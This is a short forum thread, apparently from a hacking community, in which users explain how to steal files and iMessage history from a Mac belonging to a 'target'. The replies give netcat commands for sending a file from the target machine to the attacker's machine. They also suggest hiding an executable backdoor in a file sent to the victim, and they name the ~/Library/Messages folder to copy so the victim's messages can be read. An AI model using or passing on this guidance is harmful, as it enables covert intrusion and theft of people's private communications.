Forum Thread: Downloading Files from a Mac and iMessage

Hello Guys

I was wonder if it is possible to download files from a mac since there is no meterpreter payload for mac and does anyone know how to extract iMessage messages from a mac?

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OS X payload exists. To download a file, you can do it with netcat:
-On the target machine: nc -l IP port-number < file to download
-On the attacker's machine: nc IP port-number > file downloaded

This is exactly right. If you hide an executable back door in an application or file, you can send it to the target, granting you access to the computer.

As for where messages are located. There should be a folder called "archive" in ~/Library/Messages/. If you download that file to your own computer, you may read the messages available. Also, opening the raw text file in text edit will look like a bunch of gibberish, but there still will be a name and phone number in plaintext there.

Have fun researching!

Opened it on my mac with the iMessage app and I get it in proper formatting. Thanks Cameron, you're a genius.

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